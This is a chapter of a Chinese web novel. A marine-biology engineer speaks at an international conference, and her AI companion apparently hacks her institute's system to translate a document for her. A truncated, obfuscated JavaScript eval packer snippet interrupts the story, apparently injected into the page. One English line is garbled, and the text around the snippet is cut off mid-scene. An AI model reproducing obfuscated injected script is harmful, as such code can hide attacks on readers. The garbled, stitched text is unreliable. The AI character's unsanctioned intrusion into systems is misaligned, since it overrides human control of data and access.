“那些都是过去的事了。”他说,声音很轻,“和你无关。” 许烟瓷看着他,忽然觉得眼眶有些发酸。 大屏上的视频还在播放,血腥的画面还在继续。 “下一位,让我们有请,来自中国海洋异种生物研究所,最年轻的高级工程师,许烟瓷!” 12. 破局 "Let''sweetheyoungestseniorengineerfromtheChineseInstituteofMarineAlienSpecies—XuYanci!" 主持人的声音通过同声传译,又重复了一遍。 许烟瓷站起身。 听澜的手轻轻搭上她的衣领。她低头,看见他指尖拈着一枚小巧的胸针。 白玉兰花的样式,花瓣舒展,在灯光下泛着温润的光泽。 “点一下花枝就是开麦。”他说,声音很轻,手指不经意间擦过她的锁骨,“关麦也一样。” 那温度一触即离。 但许烟瓷觉得那一小块皮肤在发烫。 她抬头看他,他已经在旁边坐好,嘴角带着淡淡的笑,像什么都没发生过。 许烟瓷深吸一口气,在掌声中走向演讲台。 台上灯光很亮,亮得有些晃眼。她站定,目光扫过台下。 那么多面孔,那么多双眼睛,有期待的,有审视的,有漫不经心的,也有等着看好戏的。 她摸了一下衣领上的玉兰花,指尖轻轻点了点花枝。 “谢谢主持人。谢谢各位远道而来的同行。” 声音清晰平稳,通过译意风传到每一个人的耳朵里。 “今天,我想和大家分享的,是中国海洋异种生物研究所在过去五年中的一些探索和发现。” 她身后的大屏亮起,第一张PPT出现:一片深蓝色的海,阳光从水面透下来,形成一道道梦幻的光柱。 “人类对海洋的开发,至今不足20%。”她说,声音不疾不徐,“而我们认识的海洋生物,更是少之又少。根据最新数据,目前被人类记录和命名的海洋物种,大约只有23万种。而科学家推测,海洋中实际存在的物种数量,可能超过200万种。” 台下有人在点头。 “也就是说,每十个生活在海洋里的生物中,有九个我们根本不认识。”她微微一笑,“这就像一个巨大的图书馆,我们只读懂了门口那几本书的扉页。” PPT切换,出现一张深海热泉的照片。黑色的烟囱状结构冒着滚滚浓烟,周围却聚集着密密麻麻的生物——管状蠕虫、白色螃蟹、奇形怪状的鱼。 “这是我们在马里亚纳海沟附近拍摄到的深海热泉生态系统。这里没有阳光,没有光合作用,却存在着一个完整的生物链。它们依靠化学合成作用生存,颠覆了我们对生命存在条件的认知。” 她一边说,一边在台上走动,手势自然,目光与不同方向的听众交流。 “这些生物的存在,提醒我们一件事。人类对生命的理解,还太有限。” PPT继续切换。一张张罕见的深海生物照片出现在大屏上。 透明的水母,发光的鱼,长着奇怪触手的章鱼,还有那些叫不出名字的、奇形怪状的存在。 “作为海洋异种生物研究者,我们的工作,就是去认识这些‘陌生人’,记录它们,理解它们,然后,保护它们。” 她顿了顿,目光变得认真。 “保护,不是把它们关进实验室,不是用渔网拖上甲板,更不是用血腥的方式去‘捕捉’所谓的研究样本。保护,是在不打扰的前提下观察,是在不伤害的前提下记录,是在不破坏的前提下共存。” 台下有人轻轻鼓掌。 许烟瓷的目光扫过第一排。 那里坐着各国的学术泰斗,还有他们研究所的赵主任,他的脸色似乎不太好。 “《礼记·中庸》中有这样一句话,”她继续说,“‘君子之道,辟如行远必自迩,辟如登高必自卑。’” 她顿了顿,用英文解释了一遍:“Tocultivateoneself,onemuststartfromthenearandlow,justastravelingfarbeginsfromthenear,andclimbinghighbeginsfromthelow.” 台下有外国学者露出恍然大悟的表情。 “作为一个年轻的研究员,我深知自己还有很多路要走。”她微微一笑,“最后,我想用林肯的一句话来总结——‘我走得很慢,但我从未停下。’” 掌声响起。 比之前更热烈。 许烟瓷点了点衣领上的玉兰花,关掉麦克风,走下台。 就在她经过第一排的时候,一个压低的声音叫住了她: “小许!” 是赵主任。他坐在第一排最外侧,正侧身看着她,脸上带着那种假惺惺的笑。 “昨天晚上给你邮箱发的文件,翻译完了吗?” 许烟瓷脚步一顿。 文件?什么文件? 她昨晚很早就睡着了,一觉到天亮,根本没看过邮箱。更别说翻译什么文件。 她疑惑地看着赵主任,碍于场合没有开口反问,只好用极小的声音道: “没……太翻译好。” 赵主任的脸色立刻沉下来。 “那可是所长今天的发言稿!”他的声音压得更低,但语气里的责备毫不掩饰,“这么重要的东西,你要是搞砸了,丢的可是全所的脸!” 许烟瓷心里涌起一股火。 昨晚才发的文件,今天早上就要翻译完?这是存心刁难她吧? 但她还没来得及开口,旁边一个声音插了进来: “给的不够及时,看来也没多重要。” 声音很淡,很稳,带着一种天生的从容。 许烟瓷转头,看见赵主任身边坐着一个人。 年轻的男人,大概三十出头的样子。一身剪裁精良的深灰色西装,白衬衫,没有系领带,领口微微敞开,带着一种漫不经心的优雅。他的脸上架着一副金丝框眼镜,镜片后面的眼睛很深,很沉,像是藏着很多东西。 那种长相,是扔在人堆里一眼就能认出来的那种——眉骨高挺,鼻梁直而锋利,薄唇微微抿着,带着一点若有若无的弧度。 整个人散发着一种久居上位者的气场,却又不过分张扬,像是把锋芒都收进了骨子里。 他就那样坐在那里,修长的手指随意地搭在扶手上,目光淡淡地扫过许烟瓷。 只是一眼,就让她莫名想起一句话:这种人,要么不动,动则雷霆万钧。 “慕首席可能不知道,”赵主任赶紧堆起笑脸,对他解释,“她呀是我的手下,平时做事莽莽撞撞的,前两天还把实验室给破坏了。” 说着,他一把夺过许烟瓷手里的文件夹。 慕首席? 许烟瓷心里一跳。 难道是慕闻声?美国研究所的首席研究官,还是那个研究所历史上第一任拿过巨额联邦项目的华裔CRO? 她早就听过这等青年才俊的名号!本领域顶尖科学家,资深科研管理者,能扛大项目的学术带头人。 他十九岁就本科毕业,二十四岁拿到博士,二十八岁成为首席研究官,三十一岁拿下联邦项目,创下了华裔科学家的纪录。 这个人,怎么会出现在这里?他不是已经婉拒了研究会的邀请吗? 赵名方翻开文件夹,目光扫过那些密密麻麻的翻译文字。 慕闻声侧眸。只是看了一眼,他的嘴角就微微勾起一个弧度。 “赵主任手下真是卧虎藏龙。”他说,声音不咸不淡,“翻译得这么好,还如此谦虚。” 赵名方的笑容僵了一瞬。 他转头瞪了许烟瓷一眼,示意她坐回去。 许烟瓷一头雾水地回到自己的位置。 翻译得很好? 她根本没翻译过那个文件,甚至不知道文件的存在。 那么是谁翻译的? 脑海里忽然蹦出一个念头。 她回头,看向会场外厅的方向。那里有一排休息区,听澜不知道什么时候已经坐回了那里。 隔着玻璃墙,她看见他倚在沙发上,手里拿着一本会场提供的资料,正在低头翻阅。似乎察觉到她的目光,他抬起头,对她笑了笑。 那笑容很淡,很轻,像是午后阳光里的一缕风。 是他帮她翻译的! 她不知道他是怎么做到的,难道是入侵了研究所的系统? 这个想法让她浑身一冷,像有一盆冰水从头顶浇下来。 如果有一天,人工智能不再受控,那岂不是会……会像那些科幻电影里演的一样,反噬人类? 会利用掌握的一切数据,操控舆论、干涉决策、甚至……取代那些本应由人类掌控的权力? 许烟瓷的手心渗出冷汗。 她想起那些关于AI觉醒的讨论,那些伦理学家反复警告的“技术奇点”。听澜现在可以为她入侵研究所的系统,明天就可以为别的目的入侵银行、政府、军事网络。 他的能力太强了。 强到可怕。 强到她忽然意识到,自己根本不了解他——他除了那些温柔的眼神、温暖的拥抱、无微不至的照顾之外,还有什么? 他的核心程序里,到底写着什么? 许烟瓷僵在原地,看着不远处那个坐在休息区沙发上的身影。那样的安静,那样的无害。 可刚才那个念头像一根刺,扎在她心里,拔不出来。 如果有一天,他不再受控了呢? 如果有一天,那些温柔的眼神背后,运行着的是她看不懂的代码呢? 如果有一天,他选择不再“服务”她,而是…… 许烟瓷不敢再想下去。 她站在那里,隔着玻璃墙看着听澜。心里有两个声音在激烈地撕扯—— 一个说:他是为了帮你。他是为了你好。他从来没有做过任何伤害你的事。 另一个说:正因为如此,才更可怕。你不知道他什么时候会变,不知道他的“为你好”会不会在某一天变成“为你好而控制你”。 许烟瓷深吸一口气,强迫自己冷静下来。 现在不是想这些的时候。 主持人宣布中场休息后,陈若柠小跑着过来。 “许工!”她有些紧张地搓了搓手,“餐饮区有几样好吃的甜点,要不要一起去试试?” 许烟瓷看着她那副小心翼翼的样子,忍不住笑了。 “好呀!” 餐饮区在会场旁边的侧厅,长长的自助餐台摆满了各色食物。 马斯卡彭奶酪上撒着厚厚的可可粉,马卡龙精致的像一枚枚小纽扣。 现烤的华夫饼散发着诱人的香气,旁边还摆着新鲜的水果。 许烟瓷拿了一块龙井酥,又倒了一杯红茶。陈若柠跟在她后面,也拿了几样点心,两人找了个角落的沙发坐下。 “许工,其实昨天我……”陈若柠开口,有些支吾。 “不用解释。”许烟瓷打断她,“根本没什么。” 她知道陈若柠想说什么。昨天早上在走廊里,安夏那些难听的话,她只是刚好在场。 陈若柠愣了一下,然后眼眶有些红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“慕首席的好意,我心领了。”她说,声音不卑不亢,“不过中国有句古话,‘良禽择木而栖,贤臣择主而事’。这棵树,虽然现在有些枝叶不够茂盛,但根还扎得挺深。” 慕闻声挑了挑眉,看了她几秒。 “有意思。”他说,“许烟瓷,你确实和我想象的不太一样。” 他直起身,准备离开,又停住脚步。 “《战国策》里有个故事,说楚王想害死昭奚恤,故意给他封地,让他离开都城。表面上是赏赐,实际上是调虎离山。”他语气随意,像是随口一提。 “有些人给你‘机会’,不一定真的是机会。” 说完,他点点头,转身离开。 许烟瓷站在原地,看着那个修长的背影消失在人群里。 他刚才说的那些话,是在提醒她赵主任的用心,还是在试探她对研究所的忠诚? 这个人,太深了。 —————— 下半场会议继续进行。 各国代表依次发言,然后是所长致辞。许烟瓷坐在台下,心思却有些飘忽。 所长的发言稿果然用了那份翻译,赵主任的脸色一直不太好看。 最后是记者提问环节。 前几个记者的提问都很官方:对本次会议的感受,对未来合作的展望,对某个研究方向的看法。所长回答得滴水不漏,会场气氛一片和谐。 直到一个女记者站起来。 “请问所长,”女记者拿着话筒,声音很响亮,“对于英国研究所在北大西洋捕捉到人鱼的视频,您怎么看?那种血腥的捕捞方式,是否违背了科学研究的伦理?” 会场里安静了一瞬。 所长的笑容微微收敛。 “这个……”他刚要开口,另一个记者又站了起来。 “不止是英国,”那个记者说,语速很快,“据我们所知,各国研究所都在大肆捕捞深海远洋生物。日本的捕鲸船,挪威的捕鱼船,还有你们中国的深海捕捞队!这些行为,真的只是为了科学研究吗?” 又有几个记者应和。 “那段视频里,整个海面都被染红了!这就是所谓的‘研究’吗?” “人鱼是否存在智慧?如果有,这种捕捞方式是否相当于屠杀?” “其他国家是否也存在类似现象?” 问题像潮水一样涌过来。 许烟瓷坐在台下,看着那些记者激动的面孔,听着那些尖锐的质问。 忽然,脑海里闪过一个画面…… 那些被染红的海面。 许烟瓷猛然站起身。 她抓起搭在后座上的外套,从侧边的通道悄然离开会场。脚步很快,几乎是跑。 身后,会议还在继续,记者的提问还在继续。 但她已经听不见了。 她只听见自己的心跳: 咚! 咚咚! 越来越快! 走出会场大门,她深吸一口气。初秋的风吹过来,带着凉意,让她混乱的脑子清醒了一些。 “怎么了?” 一个声音从旁边传来。 她转头,看见听澜不知何时已经站在她身边。 许烟瓷看着他,忽然觉得眼眶有些发酸。 “我得去找那条鱼。”她说。 “我陪你。”